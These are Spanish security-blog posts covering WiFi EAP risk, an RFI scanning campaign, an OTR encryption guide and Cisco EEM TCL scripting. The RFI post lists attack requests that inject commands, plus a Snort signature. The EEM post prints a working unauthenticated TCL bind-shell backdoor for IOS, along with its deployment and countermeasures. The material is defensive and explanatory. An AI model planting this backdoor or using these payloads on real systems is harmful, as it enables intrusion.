No hay que olvidar que normalmente, este tipo de sistemas de seguridad WiFi empresariales están integrados con el dominio Windows corporativo, es decir que no sólo pueden suponer el acceso a la red inalámbrica de una compañía, sino a todos los recursos internos que estén integrados con el dominio: escritorio remoto en servidores, correo electrónico, ERP, servidores de ficheros, OWA, VPN, etc.

Por lo tanto y como conclusión, el riesgo de una red EAP mal configurada es mucho mayor que una que directamente no presenta contraseña de acceso (OPN).

Nota final: Recomendación que desde Security Art Work nos gustaría realizar, SI NO ESTÁS UTILIZANDO UN SERVICIO WIFI, EL INTERFAZ INALÁMBRICO MANTENLO APAGADO SIEMPRE.

Aumentan los ataques RFI utilizando a Google

En las últimas semanas, estamos detectando un aumento muy significativo de ataques de tipo Remote File Inclusión [1] en el que se repite el mismo patrón en el payload del ataque, y es que, la URL de inyección utilizada en esta campaña de ataques, es siempre la misma, http://www.google.es/humans.txt . Aunque el contenido de este fichero no es malicioso, la cantidad y frecuencia de las alertas que estamos detectando ponen de manifiesto que hay una campaña de ataques de reconocimiento en marcha.

Las direcciones IP atacantes tienen distintas ubicaciones en todo el mundo (se han detectado hasta 10 países implicados, incluido España), lo cual puede indicar que una o varias botnets están detrás de este tipo de ataque. De media, en un periodo de 10 días, cada una de estas IP han atacado unos 12 objetivos cada una generando entre 2000 y 5000 alertas en nuestros sensores cada una de ellas.

Por poner algún ejemplo, algunas de las peticiones detectadas contra los equipos atacados, son las siguientes:

GET /zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=http://www.google.com/humans.txt? 
GET /123flashchat.php?e107path=http://www.google.com/humans.txt? HTTP/1.0
GET /22_ultimate/templates/header.php?mainpath=http://www.google.com/humans.txt?
GET /A-Blog/navigation/donation.php?navigation_start=http://www.google.com/humans.txt?
GET /OpenSiteAdmin/scripts/classes/FieldManager.php?path=http://www.google.com/humans.txt?%00
GET /index.php?dir=http://www.google.com/humans.txt?
GET /pollvote.php?pollname=http://www.google.com/humans.txt?&cmd=ls
GET /rss.php?page[path]=http://www.google.com/humans.txt?&cmd=ls
GET /phpGedView/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://www.google.com/humans.txt?
GET /rss.php?page[path]=http://www.google.com/humans.txt?&cmd=ls
GET /arab3upload/customize.php?path=http://www.google.com/humans.txt?&cmd=pwd
GET /ListRecords.php?lib_dir=http://www.google.com/humans.txt?&cmd=id
GET/ea-gBook/index_inc.php?inc_ordner=http://www.google.com/humans.txt?&act=cmd&cmd=whoami&d=
    /&submit=1&cmd_txt=1

Todo indica que buscan recursos vulnerables de manera automática y utilizan como fichero de inyección el fichero humans.txt (no malicioso) de Google, cuyo contenido es el siguiente:

“Google is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you’d like to help us out, see google.com/jobs.”

Si el ataque ha tenido éxito, en el sitio atacado podrá leerse ese texto.

Parece ser que, en este caso la herramienta automática utilizada sea Skipfish, ya que envía www.google.com/humans.txt o www.google.com/humans.txt%00 para las pruebas que lleva a cabo de RFI.

Es evidente que los ciberdelincuentes están incrementando el uso de herramientas automáticas para llevar a cabo los ataques Web [2], y que generan una cantidad de tráfico malicioso muy importante en nuestros sensores, y es por tanto necesario saber cuales son las nuevas tendencias de ataque que puedan identificar este tipo de ataques automatizados para poder frenarlos afinando aún más las reglas de los sensores. Por lo general, las herramientas automatizadas pueden constituir un ataque de reconocimiento en el que el atacante está buscando aplicaciones o recursos vulnerables que atacará a posteriori en profundidad. Detectar a tiempo un ataque de reconocimiento permite identificar de forma más rápida vectores de ataque hacia otras de nuestras aplicaciones y permite la elaboración de listas negras de direcciones IP antes de que realmente comiencen a atacar.

En el caso del IDS Snort, la siguiente firma de Emerging Threats nos alertará de un ataque de este tipo:

#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SERVER PHP Generic 
Remote File Include Attempt (HTTP)"; flow:to_server,established; content:".php"; nocase; 
http_uri; content:"=http|3a|/"; nocase; http_uri; pcre:"/\x2Ephp\x3F.{0,300}\x3Dhttp\x3A\x2F[^\x3F\x26]
+\x3F/Ui";reference:url,doc.emergingthreats.net/2009151; classtype:web-application-attack; sid:2009151; rev:7;)

Para saber si hemos sido víctimas vulnerables del ataque, una de las cosas que podemos hacer es comprobar si nuestro servidor se conecta a Google para obtener dicho fichero. Para bloquear este tipo de ataque en concreto podemos añadir alguna regla en nuestro WAF o IPS para que cualquier petición que incluya la cadena “www.google.com/humans.txt” sea bloqueada. No habría ningún falso positivo en estos casos.

Otra forma es intentar bloquear a Skipfish vía su User-Agent, que, para la versión 2.10b es “Mozilla/5.0 SF/2.10b” aunque ésto es manipulable y el atacante puede cambiarlo.

Según la documentación de esta tool, es capaz de realizar más de 500 peticiones por segundo contra recursos sensibles en Internet y más de 2000 peticiones por segundo sobre redes LAN/MAN. Se podría pensar en bloquear el tráfico que provenga con estas características.

Parece ser que esta campaña de ataques está siendo bastante extendida ya que incluso desde el CSIRT de Akamai han alertado recientemente sobre la misma, coincidiendo con nuestros indicios, aunque ellos comentan que los objetivos son sitios financieros y sin embargo en nuestro caso no hemos detectado que el ataque fuera dirigido a objetivos concretos sino de manera masiva.

[1] Un ataque RFI, es un ataque que permite a un atacante inyectar un fichero remoto, normalmente a través de un script, en un servidor Web. Este ataque puede conducir a robo o manipulación de datos, ejecución de código malicioso en el servidor Web, o ejecución de código malicioso en el lado de la aplicación del cliente (como por ejemplo JavaScript), que puede conllevar a otros ataques. Este ataque explota una vulnerabilidad provocada por la deficiente validación de datos de entrada del usuario.

[2] Según un estudio de Imperva de julio 2012 cifra que más de la mitad del tráfico malicioso detectado en ataques Web para los tipos de ataques más comunes (RFI, LFI,SQL Injection, Comment Spam, XSS y DirectoryTraversal) provenía de herramientas automáticas.

CifrandOTRe las conversaciones

Hace relativamente poco que han salido varias noticias acerca de securizar conversaciones de Whatsapp, así como otros temas relacionados con el supuesto espionaje de algunas organizaciones. Desde entonces, mi interés por OTR se ha incrementado mucho.

Para los que no lo conozcan, OTR es un protocolo que permite cifrar (y no encriptar) conversaciones, Off-the-record, de modo que terceras partes no puedan leer la conversación que estamos manteniendo con la otra persona. Del mismo modo, se pueden evitar lecturas no autorizadas de nuestra bandeja de mensajes, por ej, de Facebook, entre otras muchas aplicaciones.

El requisito es que ambas partes involucradas en la comunicación tengan esta aplicación instalada.

¿Qué es?

Como bien se ha indicado anteriormente, es un protocolo que permite cifrar las conversaciones. Pero además de esto, nos ofrece:

  • Funcionar haciendo uso de sistemas y plataformas de terceros, véase Facebook, Jabber, etc.
  • Autenticar cada una de las partes con las que mantenemos una conversación, de modo que se pueda identificar y alertar en caso de un ataque Man-in-the-Middle.
  • Cifrar la conversación de modo que sólo las partes involucradas puedan leerlo.
  • Negación de la autenticidad. Los mensajes intercambiados no tienen ninguna firma digital, con lo que no hay prueba de que el mensaje lo hayas enviado tú.
  • Confidencialidad en caso de pérdida de la clave. En cada conversación se generan unas claves temporales para cifrar los mensajes.

Para los que quieran profundizar en el tema, en este enlace está detallado el funcionamiento del protocolo OTR.

A continuación, vamos a ver las aplicaciones que permiten hacer uso de OTR.

Aplicaciones

Empezamos con la aplicación móvil para Android e iOS.

1. [Móvil] ChatSecure (Gibberbot)

Como alternativa a Hangouts para Android, me recomendaron una aplicación llamada ChatSecure (También conocida como Gibberbot) que implementa el protocolo OTR a través de XMPP. Con esto podremos configurar, por ejemplo, las cuentas de Google y Facebook.

Para descargarlo, se puede buscar ChatSecure en Google Play desde el mismo terminal ó bien lanzar la instalación desde el siguiente enlace.

Para los afines a la manzana (iOS), tenéis el siguiente enlace.

Una vez instalado, es muy intuitivo y fácil de configurar.

Para usar una cuenta de GMAIL, se le indica qué cuenta se quiere usar (de normal la que está configurada en Android).

Para usar la cuenta de Facebook, se le debe indicar que se quiere añadir una cuenta de Jabber (XMPP) e introducir los siguientes datos:

– usuario: usuario@chat.facebook.com
– contraseña: ******

Ahora falta indicarle el servidor chat.facebook.com en el apartado de configuración avanzada.

Nota: el usuario es lo que aparece en http://www.facebook.com/usuario cuando uno accede a su perfil. (Por si alguien aún no lo sabía).

¿Fácil no?

Veamos unos ejemplos de conversación, todo el proceso de autenticación y cifrado y lo que una tercera persona (no autorizada) vería.
Primero, el proceso de autenticación y cifrado desde GibberBot.

En la imagen podemos ver Conversación sin cifrar –> cifrada pero no autenticada –> verificación –> cifrada y autenticada.

A continuación, lo que terceras partes verían en Facebook o Hangouts.

2. [Móvil] IM+

La alternativa a Gibberbot, disponible también para Android e iOS.

Podéis conseguirlo desde el Google Play en el Terminal o bien desde el siguiente enlace.

Para el caso de iOS, aquí tenéis el enlace.

Una vez instalado, podéis comprobar que es un poco más fácil de configurar que GibberBot, pues para añadir una cuenta, sólo es necesario hacer clic en el icono de dicha plataforma y seguir unos pasos, como podéis ver a continuación:

3. [Multiplataforma] Pidgin + OTR

¿Quién no ha usado el famoso Pidgin? Pues tenemos disponible el plugin OTR para llevar a cabo nuestro objetivo de cifrar las conversaciones.

Se puede descargar desde la página de OTR. Una vez instalado, en la lista de complementos (Herramientas -> Complementos) lo activamos y ya podemos configurarlo.

Se nos abre una ventana como la siguiente:

Le damos a Generar y nos aparecerá nuestra huella digital. Ahora ya podemos iniciar sesión en Facebook y empezar a usar el cifrado.

4. [OS X] Adium + OTR

Sin olvidarse de la gente que utiliza OS X habitualmente, también se puede hacer uso de OTR con la aplicación de mensajería Adium. Esta está disponible para su descarga desde la web oficial https://adium.im

Una vez instalado, dentro de las preferencias de la aplicación, en el apartado Encryption se ha de generar un fingerprint para la cuenta que estamos usando.

Para comenzar a cifrar la conversación que vamos a mantener, se ha de hacer clic en el icono del candado, arriba a la izquierda de la ventana:

Imagen extraída de www.encrypteverything.ca

Ya podemos disfrutar del cifrado OTR también para OS X.

Conclusiones

Para terminar, como muchos os habréis dado cuenta, no es fácil conseguir que todas las personas hagan uso de alguna de estas aplicaciones. Sin embargo, no está de más recomendarlo cuando nos pregunten y echarles una mano a instalarlo. Porque si es una de las personas que habla habitualmente con nosotros, saldremos beneficiados.

Y la cuestión es, ¿porqué no ponerle más difícil las cosas a los husmeadores?

Jugando con Cisco EEM (II)

Siguiendo con la entrada del otro día Jugando con Cisco EEM (I) otra opción que tenemos en EEM es generar acciones mediante scripts escritos en el lenguaje interpretado TCL (Tool Command Language 8.3.4) ), ya sea por que estén almacenados de forma local o en un servidor remoto.

Usar TCL nos permite disponer de toda la flexibilidad que el lenguaje nos proporciona, como el uso de namespaces, y permite la ejecución de comandos en IOS. Una buena guía para ello es el siguiente libro.

Dentro de IOS tenemos el intérprete interactivo de TCL donde podremos lanzar comandos propios de IOS:

S2router#tclsh
S2router(tcl)# exec "copy running-config flash:tcl-copia.txt"                                                                                         
5644 bytes copied in 0.948 secs (5954 bytes/sec)    

S2router#dir                                                                    
Directory of flash:/                                                            
                                                                                
    1  -rw-    18716748  Dec 16 2008 08:40:28 +00:00  c1841-advsecurityk9-mz.12n
    2  -rw-        2746  Dec 16 2008 08:55:52 +00:00  sdmconfig-18xx.cfg        
    3  -rw-      931840  Dec 16 2008 08:56:14 +00:00  es.tar                    
    4  -rw-     1505280  Dec 16 2008 08:56:36 +00:00  common.tar                
    5  -rw-        1038  Dec 16 2008 08:56:54 +00:00  home.shtml                
    6  -rw-      112640  Dec 16 2008 08:57:12 +00:00  home.tar                  
    7  -rw-      527849  Dec 16 2008 08:57:30 +00:00  128MB.sdf                 
    8  -rw-        5644  Dec 27 2013 10:39:40 +00:00  backup.txt                
    9  -rw-        5702  Dec 27 2013 10:21:18 +00:00  copia.txt                 
   10  -rw-        5644  Dec 27 2013 10:43:42 +00:00  tcl-copia.txt             

Por lo tanto, podríamos tener un script con la configuración anterior y una vez subido al sistema, por ejemplo por FTP, poder usarlo desde el kron como hemos visto antes llamando al comando tclsh flash:script.tcl o en un applet como una acción similar, no obstante, preferimos crear un script nuevo para compilar en el sistema y poder usarlo dentro del applet.

Para poder usar nuestro script, realizaremos los siguientes pasos:

    1. Creamos un script TCL que copie la configuración a flash. Lógicamente necesitaremos un mínimo de conocimiento de la estructura de programación TCL para nuestro script ya que hay que registrar la policy o usar namespaces. Nuestro script quedará de la siguiente forma:
::cisco::eem::event_register_none
namespace import ::cisco::eem::*
namespace import ::cisco::lib::*

if [catch {cli_open} result] {
 error $result $errorInfo
} else {
 array set cli $result
}
 
if [catch {cli_exec $cli(fd) "enable"} result] {
 error $result $errorInfo
}

if [catch {cli_exec $cli(fd) "copy running-config flash:TCL.txt"} result] {
 error $result $errorInfo
}

cli_close $cli(fd) $cli(tty_id)

El script se llama desde un VTY por lo tanto, es muy importante el cierre de sesiones después de que el script realice su tarea ya que podríamos perder el acceso remoto si ocupamos todas las sesiones disponibles.

    2. Creamos un directorio para guardar los scripts y almacenamos nuestro script en él:
    
S2router#mkdir  flash:policies                                                  
Created dir flash:policies                                                      
S2router#copy flash:script.tcl flash:/policies/   

S2router#copy  ftp:script.tcl flash:/policies/                                  
Accessing ftp://172.18.0.150/script.tcl...                                      
Loading script.tcl                                                              
[OK - 113/4096 bytes]                                                           
                                                                                
113 bytes copied in 10.776 secs (10 bytes/sec)   
    3. Registramos el directorio donde almacenaremos los script en Cisco IOS EEM:
S2router(config)# event manager directory user policy flash:/policies

S2router# show event manager directory  user  policy                               
flash:/policies  
    4. A continuación, registramos nuestro script. Al registrarlo, el sistema lo compila para poder usarlo después (debug activado)
S2router(config)# event manager policy script.tcl type user                                
                                                                                                                  
*Dec 27 11:31:24.859: fh_tcl_get_mode: mode = 0, StartupScript = flash:/policies/
    script.tcl, RealScript = flash:/policies/script.tcl    
*Dec 27 11:31:24.863: fh_register_evreg_cmds: tctx=63F539A8, dummy=0                                                                    
*Dec 27 11:31:24.867: fh_compile_check: filename=flash:/policies/script.tcl                                                             
*Dec 27 11:31:24.879: fh_compile_check: current_scriptname=script.tcl                                                                   
*Dec 27 11:31:24.895: tclsh: precompilation passed                                                                                     
*Dec 27 11:31:24.907: [fh_event_register_none_cmd]                                                                                      
*Dec 27 11:31:24.907: fh_tcl_assoc_data_delproc: freeing tctx=63F539A8   

Ya tenemos nuestro script disponible para usarlo, por lo que aparece como available de tipo usuario. Podemos ver que hay otros definidos de tipo system:

S2router# show  event manager  policy available                                  
No.  Type    Time Created                  Name                                 
1    user    Tue Dec28  11:05:36 1943      script.tcl                           
2    system  Thu Feb 7  06:28:15 2036      sl_intf_down.tcl                     
3    system  Thu Feb 7  06:28:15 2036      tm_cli_cmd.tcl   
    5. Finalmente, podremos asociarlo a nuestro applet:
S2router(config)# event manager applet ACCESOS                                 
S2router(config-applet)# event syslog pattern "Privilege level set to 15 by"    
S2router(config-applet)# action 1.0 cli syslog priority debugging msg 
    "ACCESO PRIVILEGIADO"               
S2router(config-applet)# action 2.0 policy script.tcl  

Y comprobamos que lo tenemos registrado correctamente en el sistema:

S2router# show  event manager  policy  registered 
No.  Class   Type    Event Type          Trap  Time Registered           Name
1    applet  system  syslog              Off   Fri Dec 27 11:09:31 2013  ACCESOS
 pattern {Privilege level set to 15 by}
 action 1.0 syslog priority debugging msg "ACCESO PRIVILEGIADO"
 action 2.0 policy script.tcl

2    script  user    none                Off   Fri Dec 27 11:23:48 2013  script.tcl
 policyname {script.tcl}
 nice 0 queue-priority normal maxrun 20.000

En este momento, accedemos de forma remota al dispositivo en modo privilegiado, viendo por consola la ejecución del script si tenemos el debug activado:

*Dec 27 12:09:41.383: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 15 by jose on vty0 
    (172.18.0.150)                                   
*Dec 27 12:09:41.391: %HA_EM-7-LOG: ACCESOS: ACCESO PRIVILEGIADO                                                                                                                                                                                               
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=0                                                                                             
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=3                                                                                             
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=4                                                                                             
*Dec 27 12:09:41.399: fh_tcl_get_mode: mode = 1, StartupScript = system:/lib/tcl/
    base.tcl, RealScript = system:/lib/tcl/eem_scripts_regl
*Dec 27 12:09:41.423: fh_register_evreg_cmds: tctx=63138D2C, dummy=1                                                                    
*Dec 27 12:09:41.427: fh_tcl_compile_policy: evaluating policy: startup_scriptname
    =system:/lib/tcl/base.tcl, real_scriptname=system:/lil
*Dec 27 12:09:41.431: fh_tcl_slave_interp_init: interp=63126C18, tctx=63138D2C, 
    fh_mode=1,real=system:/lib/tcl/eem_scripts_registered/=
*Dec 27 12:09:41.451: fh_register_evreg_cmds: tctx=63138D2C, dummy=1                                                                    
*Dec 27 12:09:41.715: [fh_dummy_cmd]                                                                                                    
*Dec 27 12:09:42.031: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.031: [fh_tty_open_cmd]                                                                                                 
*Dec 27 12:09:42.035: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.035: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.035: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.155: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.155: [fh_tty_read_cmd] size= 39                                                                                        
*Dec 27 12:09:42.255: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_tty_write_cmd] cmd = enable, cmdsize = 6                                                                      
*Dec 27 12:09:42.255: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.255: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.255: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.359: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.359: [fh_tty_read_cmd] size= 11                                                                                        
*Dec 27 12:09:42.459: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_tty_write_cmd] cmd = copy running-config 
   flash:TCL.txt, cmdsize = 33                                          
*Dec 27 12:09:42.459: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.459: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.459: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.663: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.663: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.863: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.863: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.063: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.063: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.227: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.227: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.343: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.343: [fh_tty_read_cmd] size= 61                                                                                        
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_tty_write_cmd] cmd = exit, cmdsize = 4                                                                        
*Dec 27 12:09:43.547: [fh_tty_close_cmd]                                                                                                
*Dec 27 12:09:43.559: fh_tcl_esi_close: fd=0                                                                                            
*Dec 27 12:09:43.559: fh_tcl_assoc_data_delproc: freeing tctx=63138D2C                                                                  
*Dec 27 12:09:43.583: fh_tcl_esi_close: fd=4                                                                                            
*Dec 27 12:09:43.583: fh_tcl_esi_close: fd=3

Y en la flash ya estaría nuestra copia de seguridad:

S2router#dir                                                                    
Directory of flash:/                                                            
                                                                                
    1  -rw-    18716748  Dec 16 2008 08:40:28 +00:00  c1841-advsecurityk9-mz.12n
    2  -rw-        2746  Dec 16 2008 08:55:52 +00:00  sdmconfig-18xx.cfg        
    3  -rw-      931840  Dec 16 2008 08:56:14 +00:00  es.tar                    
    4  -rw-     1505280  Dec 16 2008 08:56:36 +00:00  common.tar                
    5  -rw-        1038  Dec 16 2008 08:56:54 +00:00  home.shtml                
    6  -rw-      112640  Dec 16 2008 08:57:12 +00:00  home.tar                  
    7  -rw-      527849  Dec 16 2008 08:57:30 +00:00  128MB.sdf                 
    8  -rw-        5644  Dec 27 2013 10:39:40 +00:00  backup.txt                
    9  -rw-        5702  Dec 27 2013 10:21:18 +00:00  copia.txt                 
   10  -rw-        5644  Dec 27 2013 10:43:42 +00:00  tcl-copia.txt    
   11  -rw-        5579  Dec 27 2013 12:09:42 +00:00  TCL.txt   
   12  drw-           0  Dec 27 2013 10:58:06 +00:00 policies                                                                                                   

Como hemos visto, EEM es una herramienta muy potente a la hora de ejecutar acciones ante la detección de eventos generados por los distintos subsistemas de IOS, no obstante, hay que tener cuidado con los scripts que subimos al sistema ya que, al igual que nos pueden ayudar en la identificación y notificación proactiva de eventos, pueden suponer un problema de seguridad.

Imaginemos por ejemplo que cargamos un script que abre un socket en el router de forma que dispongamos de una puerta trasera para la autenticación habitual configurada para el sistema, como muy bien explican en el paper Creating Backdoors in Cisco IOS using Tcl.

Resumiendo el paper, subimos un script TCL que abre un socket en el puerto 2455 de nuestro router ; en nuestro caso, el script usado, del mismo autor, es distinto al mostrado en el paper anterior, y en lugar de cargarlo como el intérprete de TCL, lo añadimos como acción a un applet EEM.

proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "#"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 2455
set sh [socket -server callback $port]
vwait var
close $sh

A continuación lo subimos a nuestro directorio de policies:

S2router#copy  ftp:shell.tcl flash:policies/
Accessing ftp://172.18.0.150/shell.tcl...                                       
Loading shell.tcl !                                                             
[OK - 664/4096 bytes] 

S2router#dir  flash:policies                                                    
Directory of flash:/policies/                                                   
                                                                                
   14  -rw-         411  Dec 27 2013 12:09:08 +00:00  script.tcl                
   18  -rw-         664  Dec 27 2013 17:27:52 +00:00  shell.tcl  

Todavía no lo hemos añadido como applet, no obstante, probamos su funcionamiento (bloquea la consola):

S2router# tclsh flash:policies/shell.tcl     

Et voilà, tenemos una consola en el dispositivo sin necesidad de autenticarnos:

jvillalon@PC:~$ telnet 172.18.0.200 2455
Trying 172.18.0.200...
Connected to 172.18.0.200.
Escape character is '^]'.
 
-------------------------------------
TclShell v0.1 by Andy Davis, IRM 2007
-------------------------------------
 
Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.4(3i), 
    RELEASE SOFTWARE (fc2)

Current privilege level is 15

Podemos ver que hay una sesión establecida en el puerto del backdoor:

S2router#show  tcp  brief 
TCB       Local Address           Foreign Address        (state)
6426FA4C  172.18.0.200.2455       172.18.0.150.60755     ESTAB
6427156C  172.18.0.200.22         172.18.0.150.40359     ESTAB

Si finalmente lo usamos en nuestro applet, dispondremos de acceso y sin bloqueo de la consola (se lanza cada 5 segundos):

S2router(config)#  event manager applet SHELL
S2router(config-applet)# event timer countdown time 5
S2router(config-applet)# action 1.0 cli command "enable"
S2router(config-applet)# action 2.0 cli command "tclsh flash:policies/shell.tcl"

Aunque cuando se ejecuta un script se ejecuta como safe TCL mode, con restricciones a la hora de ejecutar algunos comandos de acceso al sistema para asegurar la integridad del sistema, hemos visto claramente que hay otras acciones que podemos llevar a cabo sin problemas.

Una posible contramedida si usamos EEM podría ser limitar el usuario con que se ejecutan las políticas EEM con el comando event manager session cli username de forma que, cuando tenemos un servidor TACACS+ configurado, podremos validar que comandos puede ejecutar el script en base a los permisos del usuario. Otras contramedidas a nivel global sería disponer de nuestros sistemas actualizados, limitar el acceso al Shell de TCL a los usuarios o los comandos que pueden ejecutarse en el script, aunque esté disponible para el administrador (enable mode) por defecto, y por supuesto, revisar todos los scripts que tengamos que utilizar en nuestro sistema.

Finalmente, si miramos atrás, podemos observar que sólo hemos usado un patrón de búsqueda en los applets no obstante, en las versiones nuevas de EEM (a partir de la versión 2.4), es posible definir varios patrones permitiéndonos una correlación de eventos (entre 6 y 8) durante una ventana temporal; en nuestro ejemplo, podríamos hacer una copia de seguridad cuando un administrador entre al dispositivo y notificar por correo electrónico si además, entra en modo de configuración. La nueva versión también permite usar bytecode scripts (BCL), mejorando el rendimiento debido a que el script ya esta compilado.

Ejemplos más útiles del uso de EEM podrían ser disponer de un script que modifique las rutas de red automáticamente si se detecta algún tipo de caída (similar a los sla monitor y tracks), un script que añada a una ACL definida, una dirección IP que nuestros patrones identifiquen como atacante si no disponemos de un IDS/IPS o que nos alerte en caso de que los contadores de las ACLs superen un umbral concreto.

Tor Zeigeist 2013

(N.d.E. Hoy comenzamos la semana —después del día de Reyes que es festivo en algunos países como España— con una entrada de Vicente Dominguez, un antiguo compañero que en SAW siempre será bienvenido)

Ya hemos cambiado de año. Ha llegado el 2014 y como todos los años Google nos ha dicho en su Zeigeist cuales han sido las búsquedas de sus usuarios en el planeta.

Es un buen análisis para conocer, ya no lo que Google permite buscar (Oferta), sino lo que los usuarios de Google quieren conocer (Demanda). Parece lo mismo pero no es igual.

Si nos trasladamos al mundo de Tor, y al igual que como el ejemplo de Google, creo que a todos los lectores del blog nos queda claro que se ofrece en los hidden domains de Tor. Entradas como la de Roberto Amado y la de Chema Alonso dieron muestra de ello. Tenemos que aclarar aquí que, aunque bien es cierto que algunos importantes cierres se han producido, la oferta de ese tipo de artículos, sustancias etc., todavía es abundante.

[Read more…]